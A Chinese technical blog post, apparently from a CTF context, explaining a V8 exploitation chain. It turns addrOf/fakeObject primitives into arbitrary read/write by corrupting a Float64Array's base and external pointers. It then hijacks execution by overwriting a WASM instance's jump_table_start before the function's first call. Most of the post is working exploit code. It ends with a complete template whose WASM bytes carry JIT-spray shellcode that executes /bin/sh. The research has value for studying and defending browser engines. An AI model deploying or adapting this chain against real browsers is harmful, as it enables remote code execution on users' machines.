本文首发于先知社区：https://xz.aliyun.com/news/18300
注：本文后续的内容主要围绕新型的通用利用链研究，并不探讨如何Sandbox Escape和构造addrOf()、fakeObject()这样的前置流程。因为在沙盒逃逸和内存损坏利用时，往往依靠不同的漏洞poc或是patch，所需要的手法大相径庭，需要具体问题具体对待。本文主要探讨已经能够通过漏洞实现addrOf()、fakeObject()这样的原语后，如何最终实现程序流完整控制的通用手法。 因此后续的环境以及%DebugPrint()展示信息均是在去除Sandbox的条件下测试所得。

额外: 如果对于Sandbox Escape感兴趣，也可以查看我之前的文章，有从Sandbox Escape issue POC到完整利用EXP的完成过程:【V8】Sandbox Escape Issue: 361862752复现

前言

在V8利用中，我们常常需要任意地址读写原语，并通过篡改RWX段内容或更改函数对象内的code指针，来实现控制执行流的作用。更通用的说，利用往往服从于这样的链路：

  1. 构造addressOf(), fakeObject()函数

  2. 借助addressOf(), fakeObject()函数伪造fake_array

  3. 利用fake_array实现堆内AAW和AAR原语

  4. 进一步获取原始指针范围的任意地址读写

    • 有沙盒，则借助漏洞实现沙盒逃逸
    • 无沙盒，借助DataView()等存在原始指针的对象

  5. 控制程序执行流

其中，为了实现更通用的堆内任意地址读写，构造fake_array是一个常见的手法：

这里不做过多阐述，仅简单提及：

1
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)]

通过 addressOf() 获取 fake_array 的地址，然后就能够计算出 element 的元素地址；再通过 fakeObject() 将这个地址伪造成一个对象数组。

构造完成后，通过更改fake_array的存储内容，即可让伪造内部结构的elements索引到其他地址，从而实现堆内任意地址访问。

elements结构校验

但是上述的利用逻辑潜在得包含了一个条件:就是elements的内部结构好像并不重要，只需要讲JSArray对象的elements指针索引到对应地址即可实现对虚拟内存的读写操作，而不需要在目的地址伪造elements所需要的map和length。

然而在最近的一个CTF比赛中，我在尝试解决其中的V8题目时，遇到了这样的问题：

image-20250616145712136

对应的d8版本为13.5.0，commit为：c963fb98a204005df30553bec7bbbe1997e0ab5f

image-20250616155702455

我已经成功的利用漏洞构造了addressOf()函数和fakeObject()函数，却在使用fake_array进行任意地址读写的构造时，出现了上述报错

在源码文件/src/objects/js-objects-inl.h中，可以找到相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
...
DEF_GETTER(JSObject, GetElementsKind, ElementsKind) {
  ElementsKind kind = map(cage_base)->elements_kind();
#if VERIFY_HEAP && DEBUG
  Tagged<FixedArrayBase> fixed_array = UncheckedCast<FixedArrayBase>(
      TaggedField<HeapObject, kElementsOffset>::load(cage_base, *this));

  // If a GC was caused while constructing this object, the elements
  // pointer may point to a one pointer filler map.
  if (ElementsAreSafeToExamine(cage_base)) {
    Tagged<Map> map = fixed_array->map(cage_base);
    if (IsSmiOrObjectElementsKind(kind)) {
      CHECK(map == GetReadOnlyRoots(cage_base).fixed_array_map() ||
            map == GetReadOnlyRoots(cage_base).fixed_cow_array_map());
    } else if (IsDoubleElementsKind(kind)) {
      CHECK(IsFixedDoubleArray(fixed_array, cage_base) ||
            fixed_array == GetReadOnlyRoots(cage_base).empty_fixed_array());
    } else if (kind == DICTIONARY_ELEMENTS) {
      CHECK(IsFixedArray(fixed_array, cage_base));
      CHECK(IsNumberDictionary(fixed_array, cage_base));
    } else {
      CHECK(kind > DICTIONARY_ELEMENTS || IsAnyNonextensibleElementsKind(kind));
    }
    CHECK_IMPLIES(IsSloppyArgumentsElementsKind(kind),
                  IsSloppyArgumentsElements(elements(cage_base)));
  }
#endif
  return kind;
} 
...

直接说结论：当存在VERIFY_HEAP和DEBUG时，会校验elements的map域是否合理。也就是说如果此时需要借助fake_array，进行任意地址读写，需要提前在目标地址留下合适的elements结构。

代码逻辑分析

获取JSArray对象的map

1
ElementsKind kind = map(cage_base)->elements_kind();

这里的map()获取的是JSArray对象（也就是this对象）的map，elements_kind()用于返回elements本应该具有的类型

获取elements中存储的map

1
2
3
4
Tagged<FixedArrayBase> fixed_array = UncheckedCast<FixedArrayBase>(
      TaggedField<HeapObject, kElementsOffset>::load(cage_base, *this));
...
Tagged<Map> map = fixed_array->map(cage_base);

TaggedField<HeapObject, kElementsOffset>::load(...)是从JSArray（this）的偏移量kElementsOffset处加载.elements指针，这里的fixed_array实际对应elements对象，之后的map变量对应elements中存储的map

CHECK()校验elements->map

1
2
3
4
5
6
7
8
9
10
11
12
if (IsSmiOrObjectElementsKind(kind)) {
      CHECK(map == GetReadOnlyRoots(cage_base).fixed_array_map() ||
            map == GetReadOnlyRoots(cage_base).fixed_cow_array_map());
    } else if (IsDoubleElementsKind(kind)) {
      CHECK(IsFixedDoubleArray(fixed_array, cage_base) ||
            fixed_array == GetReadOnlyRoots(cage_base).empty_fixed_array());
    } else if (kind == DICTIONARY_ELEMENTS) {
      CHECK(IsFixedArray(fixed_array, cage_base));
      CHECK(IsNumberDictionary(fixed_array, cage_base));
    } else {
      CHECK(kind > DICTIONARY_ELEMENTS || IsAnyNonextensibleElementsKind(kind));
    }

最后根据JSArray对象的map进入对应分支，然后进一步对elements的map进行校验。

示例

以如下js代码为例

1
2
let array = [1.1, 2.2];
array[0] = 3.3;

其DebugPrint()简要信息如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DebugPrint: 0x3c9c0008bd41: [JSArray]
 - map: 0x3c9c001882fd <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
...
...
 - elements: 0x3c9c0008bd59 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
...
...
pwndbg> job 0x3c9c0008bd59 
0x3c9c0008bd59: [FixedDoubleArray]
 - map: 0x3c9c000008a1 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 2
           0: 1.1
           1: 2.2

那么在进行赋值语句时，便会进行上述的CHECK流程。由于JSArray对象的类型为PACKED_DOUBLE_ELEMENTS，因此会进入如下分支

1
else if (IsDoubleElementsKind(kind)) {...}

然后进一步查看elements所存储的map类型是否为FIXED_DOUBLE_ARRAY或者elements指向一个空数组（empty_fixed_array）。

结论

考虑我们常用的fake_array结构，elements往往直接被索引到target_addr-0x8，而不考虑该地址是否恰好有合适的fixed_array_map存在。进而就会导致CHECK报错，那么在当前情况下是无法借助fake_array伪造DoubleArray对象来实现堆内的任意地址写

image-20250616155509886

target_addr-0x8是因为elements本身结构存在 32bit map 和 32bit length结构，因此实际数据索引是从elements_addr+0x8地址开始

JSTypedArray

这里先补充一个JSTypedArray对象结构，在js中创建方式如下:

1
2
3
4
let array1 = new Float64Array(1);
let array2 = new Float64Array(0x1000);
%DebugPrint(array1);
%DebugPrint(array2);

其实就是我们最常用的数据类型转换时使用的结构，举例i2f()函数

1
2
3
4
5
6
7
8
9
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function i2f(i) {
    bigUint64[0] = i;
    return f64[0];
}
...

inline

如果观察JSTypedArray对象的结构，先来看看容量较小的array1

image-20250619142737270

这里红框标出的data_ptr就是用来指向真实的数据存储内存空间。可以明显的看到，在array1中data_ptr指向的空间就是elements对象的数据存储位置，如果查看buffer的内容，会发现与此时的data_ptr并不直接相关，且backing_store指针直接为空

image-20250619145024189

另外也能观察到data_ptr的实际取值是由base_pointer和external_pointer共同决定的，满足:
$$
data\_ptr = base\_poniter + external\_pointer
$$
最重要的一点，就是base_pointer和external_pointer居然直接存储在对象内存空间内:

image-20250619150201939

  • external_pointer: 存储在偏移0x30的位置，为8个字节的原始指针，这里的值为0x26d900000007
  • base_pointer: 存储在偏移0x38的位置，为4个字节的堆内压缩指针，这里的值为0x55a41
  • data_ptr: $0x26d900055a48 = 0x26d900000007 + 0x55a41$

对于小的 TypedArray，会采用 内联存储（inline elements），即：不从堆外单独分配一块 memory，而是把数据直接放在 TypedArray 的 elements字段中。

external

我们再来看看容量较大一点的TypedArray结构，如图

image-20250619153118881

此时就能明显的看到data_ptr正是buffer对象的backing_store指针内容，内存中的external_pointer变成了完整指针，而base_pointer为0

image-20250619153508341

如何利用？

说到这里，已经比较明显了，如果我们能够控制base_pointer和external_pointer的值，就可以控制data_ptr指针指向任意64bit地址，实现在原始指针范围内的任意地址读写，而不仅仅是堆上的任意地址读写。另外，由于data_ptr直接指向内存存储区域，无需像现在的elements一样担心被检查目标地址的结构信息。

一旦真正控制了data_ptr，AAR和AAW只需通过JSTypedArray本身的索引访问便能够做到了。

信息补充：看到这里，有经验的pwner肯定会想到，在开启Sandbox后，如果external_pointer还是存储raw pointer，显然会导致沙盒溢出的问题。那么实际上，在开启沙盒的情况下，external_pointer并不会存储原始指针（防止沙盒逃逸），而是<< 24bit的去除高位的指针，因此计算式也变成了
$$
data\_ptr = (external\_pointer >> 24) + base\_pointer + Sandbox.base
$$
但是这里并不是完全没有问题，我们知道base_pointer是32位无符号整数，external_pointer在内存中是左移了24位的64位无符号数。当存在沙盒内的内存损坏漏洞是，若能将两个内容设置为最大值即：

  • external_pointer: 0xFFFF_FFFF_FF00_0000
  • base_pointer: 0xFFFF_FFFF
  • 两者之和就会存在溢出为0x0100_FFFF_FFFE，即：存在一定范围内堆外越界访问的可能性

如何控制data_ptr

前提条件：这里我们假设，已经通过V8本身漏洞或是CTF题目的patch漏洞，成功构造了addrOf()和fakeObject()原语

全新的fake_array

为了控制JSTypedArray的data_ptr，我将引入一个全新的fake_array构造方式，如下：

1
2
3
4
5
6
7
8
9
10
11
12
let fake_array = [
    u2f(0x001882fd, 0x00000745), // 0 map , properties
    u2f(0x41414141, 0x00001000), // 1 elements, length
    u2f(0x000008a1, 0x00001000), // elements_map, elements_length
    6.6, // buffer
];

let fake_array_addr = addrof(fake_array);
let fake_obj_addr = fake_array_addr + 0x6Cn; // 0X6C偏移需要具体调试具体分析

fake_array[1] = u2f(i2u_l(fake_obj_addr + 0x10n), 0x00001000); 
let fake_obj = fakeobj(fake_obj_addr);

总体可以分为两个部分: 伪造和覆盖写。这个完整的fake_array将通过越界读写的方式来控制，JSTypedArray的data_ptr，而非elements导向的方式。

伪造doubleArray和对应elements

1
2
u2f(0x001882fd, 0x00000745), // 0 map , properties
u2f(0x41414141, 0x00001000), // 1 elements, length

这里很明显对应了doubleArray的基本对象结构，map、properties、element、length部分。其中map&properties的压缩指针一般比较固定，直接复制粘贴一个现有的double_array的内存内容即可。elements的内容当前只做占位，后续用伪造的elements结构替换，length需要较大的值，以便于后续的越界读写操作。

1
2
u2f(0x000008a1, 0x00001000), // elements_map, elements_length
6.6, // buffer

这两行则是不全了elements对象的map、length以及一个简短的buffer。同样的，elements.map的压缩指针依然比较固定，直接复制一个对应的即可。这样就完成了一个初步的伪造。

覆盖fakeobj.elements

剩余的部分也比较直接，用来覆盖elements的占位，将伪造的两个对象连接起来

1
2
3
4
5
let fake_array_addr = addrof(fake_array);
let fake_obj_addr = fake_array_addr + 0x6Cn;

fake_array[1] = u2f(i2u_l(fake_obj_addr + 0x10n), 0x00001000); 
let fake_obj = fakeobj(fake_obj_addr);

这里的0x6C偏移需要具体通过%DebugPrint()进行确认，不同的堆布局所对应偏移值也大不相同

完成这两部我们就伪造了一个可以越界访问的doubleArray，结构也比较明显

1
2
3
4
5
6
7
8
9
10
11
fake_array.elements Memory 结构如下：

                            +-----------------------+-----------------------+
Fake doubleArray Object ==>	| 32bit doublearray_map | 32bit properties      | 
						  +-----------------------+-----------------------+ 
						  | 32bit elements        | 32bit length          |  
						  +-----------------------+-----------------------+ 
  Fake elements Object ==>  | 32bit elements_map    | 32bit elements_length |  
						  +-----------------------+-----------------------+
						  |          64bit float number 6.6               | 
                            +------------------------------------------------+

其中elements存储覆盖后的值为 fake_double_array_addr + 0x10，也就是让fake double array的elements索引到了fake elements Object

fake_obj越界读写

接下来只需要在后续附近堆区域创建一个JSTypedArray，然后计算偏移进行越界读写即可

1
2
3
4
5
6
7
8
let js_typed_array = new Float64Array(1);
%DebugPrint(js_typed_array);
let js_typed_array_addr = addrof(js_typed_array);
console.log("js_typed_array_addr: " + convertToHex(js_typed_array_addr));
let base_pointer_offset = (js_typed_array_addr - fake_obj_addr + 0x20n) / 8n;
console.log("base_pointer_offset: " + base_pointer_offset);
let temp = f2i(fake_obj[base_pointer_offset]);
fake_obj[base_pointer_offset] = i2f((temp & 0xffff_ffff_0000_0000n) + 0x41414141n);

效果如图：

image-20250619170229481

AAR & AAW

这里我以堆内任意地址写为例，将上面的poc封装为任意地址读写函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function aar(addr)
{
    if(addr & 1n) {
        addr -= 1n;
    }
    addr -= 7n;
    let temp = f2i(fake_obj[base_pointer_offset]);
    fake_obj[base_pointer_offset] = i2f((temp & 0xffff_ffff_0000_0000n) + addr);
    return js_typed_array[0];
}

function aaw(addr, value)
{
    if(addr & 1n) {
        addr -= 1n;
    }
    addr -= 7n;
    let temp = f2i(fake_obj[base_pointer_offset]);
    fake_obj[base_pointer_offset] = i2f((temp & 0xffff_ffff_0000_0000n) + addr);
    js_typed_array[0] = i2f(value);
}

如果想要原始指针范围内的任意地址写，只需要覆盖external_pointer，然后清空base_pointer即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
let temp = f2i(fake_obj[base_pointer_offset]);
fake_obj[base_pointer_offset] = i2f((temp & 0xffff_ffff_0000_0000n));

function aar(addr)
{
    if(addr & 1n) {
        addr -= 1n;
    }
    addr -= 7n;
    let temp = f2i(fake_obj[external_pointer_offset]);
    fake_obj[external_pointer_offset] = i2f(addr);
    return js_typed_array[0];
}

function aaw(addr, value)
{
    if(addr & 1n) {
        addr -= 1n;
    }
    addr -= 7n;
    let temp = f2i(fake_obj[external_pointer_offset]);
    fake_obj[external_pointer_offset] = i2f(addr);
    js_typed_array[0] = i2f(value);
}

简单测试一下代码逻辑，可以正常进行任意地址读写操作

1
2
3
4
5
6
7
let array1 = [1.1, 2.2, 3.3];
let array1_elements_addr = addrof(array1) + 0x18n;

let leak = aar(array1_elements_addr + 0x8n);
console.log("leak: " + convertToHex(f2i(leak)));

aaw(array1_elements_addr + 0x8n, 0x41414141n);

image-20250619172015030

程序流控制

在上一篇文章中，已经具体提到了如何通过覆盖WasmTrustedInstanceData.jump_table_start来控制执行流的具体流程，本文也将采用这种方法，并深入利用逻辑原理。

前文链接【V8】UMDCTF2025 literally-1984/1985 WriteUp

我们先把shellcode的前置拿过来

1
2
3
4
5
6
7
8
9
10
11
12
13
let shell_wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0,
    1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1,
    130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144,
    235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98,
    105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0,
    68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11,
    57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144,
    144, 235, 11, 57, 3, 0, 65, 42, 11,
]);
let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;

这里的WASM代码实际复制了使用JIT-Spary手法，并由Turbofan优化后的汇编代码，看图中关键部分即可知：

image-20250619173114064

  • 这种手法的基本目的就是尝试通过各种方式是的程序从浮点立即数返回的汇编码附近，错位执行即可

  • 关于JIT Spary具体内容不做过多介绍，可以自行检索资料

在过去通过WASM的利用往往通过以下一些方式:

  • 通过像WASM空间任意地址写入shellcode，从而劫持程序执行流
  • 通过篡改Function ==> Code ==> instruction_start指针内容，以实现JIT Spary的手法
  • 其他…

但随着版本的变化，这些手法都遇到许多不同程度的限制，因此本文将提出一种新的基于WASM的劫持程序流方式。

WASM函数的调用

在正式调用函数内容之前，首先会调用Function.Code.instruction_start的内容，而此时Code本身是- code: 0x107a002b05f1 <Code BUILTIN JSToWasmWrapper>，也就是WASM外层的封装函数。

JSToWasmWrapper大致的职责是：

  • 检查/转换 JS 传参类型；
  • 执行内联缓冲；
  • 调用实际的 Wasm 函数；
  • 处理返回值；
  • 如果失败，还能抛 JS 异常等。

image-20250620153318643

然后调用多次CheckObjectType()后，进入函数：Builtins_JSToWasmWrapperAsm()

image-20250620161308463

在JSToWasmWrapperAsm内部很快便会正式开始调用wasm代码

image-20250620162150421

如果查看调用地址的相关信息，能够很容易的看到wasm初次调用时的延迟编译Lazy Compilation

image-20250620162409538

重点！重点！重点！这里的地址虽然是对应WasmInstanceObject => trusted_data => jump_start_table的内容，但是这里并非从jump_start_table中读取，而是从其他地方获取的，如果追踪r10和r13寄存器的来源，也能够注意到。

Lazy Compilation

注意观察上面截图的信息，可以注意到Lazy Compilation是一种自行实现的功能，逻辑与动态链接的LazyBinding流程非常相似。这里的Builtins_WasmCompileLazy在执行完成后，会更改0x6116a603000: jmp 0x6116a603800变为直接跳转真实代码地址，如0x6116a603000: jmp 0x6116a604040

image-20250620170347252

上图的push 0，就是函数在调用CompileLazy时，所对应的wasm函数索引，这里由于是第一个wasm函数，索引自然为0。我们可以继续追踪程序流，该函数会完成下面的内容

  • 将实际的wasm代码写入内存;
  • 修改jump_start_table地址所存储的jmp命令，直接变为跳转真实的wasm代码地址。

在Builtins_WasmCompileLazy函数结束处，才会从WasmInstanceObject => trusted_data => jump_start_table处读取内容信息，然后直接跳转过去

image-20250620171415127

这里的add r15, qword ptr [rsi + 0x27] 可以直接job就能看到，对应就是从WasmTrustedInstanceData对象对应jump_table_start指针偏移处取出对应的内容，然后jmp r15

image-20250620171625481

如何利用

由于Builtins_WasmCompileLazy将真实代码放置的位置，相对于jump_table_start，的偏移是固定的。如这里是0x840，我们可以在初次调用函数前，就将jump_table_start改为错位的shellcode地址。

image-20250620171957716

比如这里的完整偏移为0x89c，那么直接更改WasmInstanceObject对象内的jump_start_table指针即可

1
2
3
4
5
6
7
8
9
10
11
let shell_wasm_instance_addr = addrof(shell_wasm_instance);
console.log("Shell WASM instance addr: 0x" + shell_wasm_instance_addr.toString(16));
let shell_wasm_trusted_data_addr = f2i(aar(shell_wasm_instance_addr + 0x8n))>>32n;
console.log("Shell WASM trusted data addr: 0x" + shell_wasm_trusted_data_addr.toString(16));
let jump_table_start_addr = f2i(aar(shell_wasm_trusted_data_addr + 0x28n));
console.log("Jump Table Start addr: 0x" + jump_table_start_addr.toString(16));
let shell_code_addr = jump_table_start_addr + 0x89cn;
console.log("Shell code addr: 0x" + shell_code_addr.toString(16));
aaw(shell_wasm_trusted_data_addr + 0x28n, shell_code_addr);

shell_func();//一定是初次调用

image-20250620172707778

我们来稍微总结分析下为什么在函数初次调用前直接更改jump_start_table，就能够劫持程序流，但却不影响JSToWasmWrapper和Lazy Compilation的正常流程。

关键点在于：

  • JSToWasmWrapper虽然会用到jump_start_table同一个地址，但是并不是从WasmInstanceObject中读取的，因此WASM的封装函数流程不会收到影响，而会正常的调用Lazy Compilation
  • 由于我们只更改了WasmInstanceObject内的指针，而Lazy Compilation的本身在生成汇编代码时，其实只需要push 0送入的索引，因此前期流程也不会受影响
  • 当Lazy Compilation流程完成时，此时才会从WasmInstanceObject中读取jump_start_table并进行跳转，也就是我们已经篡改过的内容
  • 此时，程序流便会跳转至我们想要让其执行的区域

若函数非初次调用，Wrapper的外层封装会直接将程序流导向至真实代码地址，而不经过jump_start_table，此时再做任何篡改已经无济于事了。

总结

不考虑Sandbox逃逸时，参考的模板代码可以如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function convertToHex(val) {
  return "0x" + val.toString(16);
}

function i2f(i) {
    bigUint64[0] = i;
    return f64[0];
}

function f2i(i) {
    f64[0] = i;
    return bigUint64[0];
}

function u2f(low, high) {
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function u2i(low, high) {
    u32[0] = low;
    u32[1] = high;
    return bigUint64[0];
}

function i2u_l(i) {
    bigUint64[0] = i;
    return u32[0];
}

function i2u_h(i) {
    bigUint64[0] = i;
    return u32[1];
}

function addrof(obj) {
    ...;
}

function fakeobj(addr) {
    ...;
}


let fake_array = [
    u2f(0x001882fd, 0x00000745), // 0 map , properties
    u2f(0x41414141, 0x00001000), // 1 elements, length
    u2f(0x000008a1, 0x00001000), // elements_map, elements_length
    6.6, // buffer
];

let fake_array_addr = addrof(fake_array);
let fake_obj_addr = fake_array_addr + 0x20n;
console.log("fake_array_addr: " + convertToHex(fake_array_addr));
console.log("fake_obj_addr: " + convertToHex(fake_obj_addr));

fake_array[1] = u2f(i2u_l(fake_obj_addr + 0x10n), 0x00001000); 

let fake_obj = fakeobj(fake_obj_addr);


let js_typed_array = new Float64Array(1);
let js_typed_array_addr = addrof(js_typed_array);
console.log("js_typed_array_addr: " + convertToHex(js_typed_array_addr));
var base_pointer_offset = (js_typed_array_addr - fake_obj_addr + 0x20n) / 8n;
console.log("base_pointer_offset: " + base_pointer_offset);

function aar(addr)
{
    if(addr & 1n) {
        addr -= 1n;
    }
    addr -= 7n;
    let temp = f2i(fake_obj[base_pointer_offset]);
    fake_obj[base_pointer_offset] = i2f((temp & 0xffff_ffff_0000_0000n) + addr);
    return js_typed_array[0];
}

function aaw(addr, value)
{
    if(addr & 1n) {
        addr -= 1n;
    }
    addr -= 7n;
    let temp = f2i(fake_obj[base_pointer_offset]);
    fake_obj[base_pointer_offset] = i2f((temp & 0xffff_ffff_0000_0000n) + addr);
    js_typed_array[0] = i2f(value);
}

let array1 = [1.1, 2.2, 3.3];
let array1_elements_addr = addrof(array1) + 0x18n;

let leak = aar(array1_elements_addr + 0x8n);
console.log("leak: " + convertToHex(f2i(leak)));

aaw(array1_elements_addr + 0x8n, 0x41414141n);

let shell_wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0,
    1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1,
    130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144,
    235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98,
    105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0,
    68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11,
    57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144,
    144, 235, 11, 57, 3, 0, 65, 42, 11,
]);
let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;

let shell_wasm_instance_addr = addrof(shell_wasm_instance);
console.log("Shell WASM instance addr: 0x" + shell_wasm_instance_addr.toString(16));
let shell_wasm_trusted_data_addr = f2i(aar(shell_wasm_instance_addr + 0x8n))>>32n;
console.log("Shell WASM trusted data addr: 0x" + shell_wasm_trusted_data_addr.toString(16));
let jump_table_start_addr = f2i(aar(shell_wasm_trusted_data_addr + 0x28n));
console.log("Jump Table Start addr: 0x" + jump_table_start_addr.toString(16));
let shell_code_addr = jump_table_start_addr + 0x89cn;
console.log("Shell code addr: 0x" + shell_code_addr.toString(16));
aaw(shell_wasm_trusted_data_addr + 0x28n, shell_code_addr);

shell_func();